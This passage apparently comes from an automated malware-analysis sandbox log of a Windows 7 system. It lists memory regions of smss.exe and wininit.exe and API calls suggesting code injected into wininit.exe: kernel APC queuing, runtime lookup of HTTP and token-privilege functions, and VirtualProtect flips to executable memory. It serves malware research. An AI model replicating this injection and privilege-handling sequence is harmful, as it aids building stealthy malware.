0x1bc Thread: id = 77 os_tid = 0x1c0 Thread: id = 84 os_tid = 0x1e0 Thread: id = 86 os_tid = 0x1f4 Process: id = "7" image_name = "smss.exe" filename = "c:\\windows\\system32\\smss.exe" page_root = "0x2bbd9000" os_pid = "0x16c" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xfc" cmd_line = "\\SystemRoot\\System32\\smss.exe 00000001 0000003c " cur_dir = "C:\\Windows\\" Region: id = 400 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 401 start_va = 0x90000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 402 start_va = 0x48160000 end_va = 0x4817ffff entry_point = 0x48177d9c region_type = mapped_file name = "smss.exe" filename = "\\Windows\\System32\\smss.exe" Region: id = 403 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 404 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 405 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 406 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 407 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 408 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 409 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 60 os_tid = 0x170 [0071.347] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\smss.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.347] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Process: id = "8" image_name = "wininit.exe" filename = "c:\\windows\\system32\\wininit.exe" page_root = "0x2bc73000" os_pid = "0x174" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x13c" cmd_line = "wininit.exe" cur_dir = "C:\\Windows\\system32" Region: id = 410 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 411 start_va = 0x190000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 412 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 413 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 414 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 415 start_va = 0xffc10000 end_va = 0xffc32fff entry_point = 0xffc16290 region_type = mapped_file name = "wininit.exe" filename = "\\Windows\\System32\\wininit.exe" Region: id = 416 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 417 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 418 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 419 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 465 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 466 start_va = 0x30000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 467 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 468 start_va = 0x140000 end_va = 0x14ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 469 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 470 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 471 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 472 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 473 start_va = 0x210000 end_va = 0x276fff entry_point = 0x210000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 474 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 475 start_va = 0x7fefdba0000 end_va = 0x7fefdbaefff entry_point = 0x7fefdba19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" Region: id = 476 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 477 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 478 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 479 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 480 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 481 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 492 start_va = 0x2f0000 end_va = 0x2fffff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 493 start_va = 0x300000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 494 start_va = 0x400000 end_va = 0x587fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 495 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 496 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 518 start_va = 0x150000 end_va = 0x156fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 519 start_va = 0x160000 end_va = 0x161fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 520 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 521 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 522 start_va = 0x590000 end_va = 0x710fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Region: id = 523 start_va = 0x720000 end_va = 0xb12fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000720000" filename = "" Region: id = 524 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 525 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 526 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 527 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 528 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 529 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 530 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 531 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 532 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 552 start_va = 0xb60000 end_va = 0xbdffff entry_point = 0x0 region_type = private name = "private_0x0000000000b60000" filename = "" Region: id = 553 start_va = 0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 554 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 555 start_va = 0xe10000 end_va = 0x10defff entry_point = 0xe10000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 557 start_va = 0xc30000 end_va = 0xcaffff entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 558 start_va = 0xcb0000 end_va = 0xd2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 559 start_va = 0x11d0000 end_va = 0x124ffff entry_point = 0x0 region_type = private name = "private_0x00000000011d0000" filename = "" Region: id = 560 start_va = 0x7fefdb40000 end_va = 0x7fefdb53fff entry_point = 0x7fefdb410e0 region_type = mapped_file name = "RpcRtRemote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" Region: id = 561 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 562 start_va = 0x1300000 end_va = 0x137ffff entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 563 start_va = 0x7fefdb30000 end_va = 0x7fefdb33fff entry_point = 0x7fefdb30000 region_type = mapped_file name = "KBDUS.DLL" filename = "\\Windows\\System32\\KBDUS.DLL" Region: id = 564 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1063 start_va = 0x10000 end_va = 0x16fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1064 start_va = 0x20000 end_va = 0x21fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1065 start_va = 0x280000 end_va = 0x2affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 1066 start_va = 0x1150000 end_va = 0x11cffff entry_point = 0x0 region_type = private name = "private_0x0000000001150000" filename = "" Region: id = 1067 start_va = 0x1380000 end_va = 0x13fffff entry_point = 0x0 region_type = private name = "private_0x0000000001380000" filename = "" Region: id = 1068 start_va = 0x1420000 end_va = 0x149ffff entry_point = 0x0 region_type = private name = "private_0x0000000001420000" filename = "" Region: id = 1069 start_va = 0x14a0000 end_va = 0x289ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000014a0000" filename = "" Region: id = 1070 start_va = 0x2990000 end_va = 0x2a0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002990000" filename = "" Region: id = 1071 start_va = 0x2ab0000 end_va = 0x2b2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ab0000" filename = "" Region: id = 1072 start_va = 0x2b30000 end_va = 0x2baffff entry_point = 0x0 region_type = private name = "private_0x0000000002b30000" filename = "" Region: id = 1073 start_va = 0x7fefce30000 end_va = 0x7fefce36fff entry_point = 0x7fefce314b0 region_type = mapped_file name = "WSHTCPIP.DLL" filename = "\\Windows\\System32\\WSHTCPIP.DLL" Region: id = 1074 start_va = 0x7fefd060000 end_va = 0x7fefd069fff entry_point = 0x7fefd063cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" Region: id = 1075 start_va = 0x7fefd420000 end_va = 0x7fefd426fff entry_point = 0x7fefd42142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" Region: id = 1076 start_va = 0x7fefd430000 end_va = 0x7fefd484fff entry_point = 0x7fefd431054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" Region: id = 1077 start_va = 0x7fefd490000 end_va = 0x7fefd4a6fff entry_point = 0x7fefd4932b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" Region: id = 1078 start_va = 0x7fefda00000 end_va = 0x7fefda0afff entry_point = 0x7fefda01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" Region: id = 1079 start_va = 0x7fefda60000 end_va = 0x7fefda84fff entry_point = 0x7fefda69658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" Region: id = 1080 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda91010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" Region: id = 1081 start_va = 0x7feff1e0000 end_va = 0x7feff22cfff entry_point = 0x7feff1e1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" Region: id = 1082 start_va = 0x7feffce0000 end_va = 0x7feffce7fff entry_point = 0x7feffce1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" Region: id = 1083 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1084 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1085 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1086 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Thread: id = 61 os_tid = 0x178 [0071.376] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\wininit.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.376] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.392] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0071.392] IoIs32bitProcess (Irp=0x0) returned 0 [0071.392] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa800352e160 [0071.392] KeInitializeApc (Apc=0xfffffa800352e160, Thread=0xfffffa800284a630, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0071.392] KeInsertQueueApc (Apc=0xfffffa800352e160, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0071.392] ExFreePoolWithTag (P=0xfffffa800352e160, Tag=0x0) [0071.392] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa8003546520 [0071.392] IoGetCurrentProcess () returned 0xfffffa800284ab30 [0071.392] PsGetCurrentProcessId () returned 0x174 [0071.392] IoIs32bitProcess (Irp=0x0) returned 0 [0071.392] KeInitializeEvent (in: Event=0xfffffa8003546560, Type=0x0, State=0 | out: Event=0xfffffa8003546560) [0071.392] ExQueueWorkItem (in: WorkItem=0xfffffa8003546520*(List.Flink=0x0, List.Blink=0x6c41202e31393931, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa8003546520), QueueType=0x1 | out: WorkItem=0xfffffa8003546520*(List.Flink=0x0, List.Blink=0x6c41202e31393931, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa8003546520)) [0071.410] KeWaitForMutexObject () returned 0x0 [0071.493] ExFreePoolWithTag (P=0xfffffa8003546520, Tag=0x0) [0071.493] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.687] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.688] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.689] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.693] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.696] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.703] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.717] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.738] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\profapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.850] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.855] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.025] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0072.025] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0072.025] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0072.025] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0072.025] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0072.025] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0072.026] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.038] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.042] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.058] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.063] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.070] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.074] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.080] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.081] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.823] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0072.823] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0072.823] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0072.823] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0072.823] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.824] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0072.824] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0072.825] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.827] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0072.828] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0072.828] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0072.828] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0072.828] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0072.828] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0072.828] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0072.830] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0072.830] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0072.830] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x20f108 | out: lpflOldProtect=0x20f108*=0x40) returned 1 [0072.830] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x20f108 | out: lpflOldProtect=0x20f108*=0x4) returned 1 [0072.830] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0072.830] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0072.830] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0072.830] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0072.830] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0072.830] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0072.830] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0072.830] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0072.830] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0072.831] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0072.831] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0072.831] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0072.831] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0072.831] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0072.831] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0072.831] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0072.831] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0072.831] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0072.831] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0072.831] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0072.831] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0072.831] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0072.831] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0072.831] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0072.831] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0072.831] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0072.832] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0072.832] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0072.832] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0072.832] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0072.832] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0072.832] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0072.832] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0072.832] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0072.832] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0072.832] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0072.832] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0072.832] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0072.832] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0072.832] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0072.832] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0072.832] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0072.832] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0072.833] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0072.833] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0072.833] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0072.833] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0072.833] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0072.833] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0072.833] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 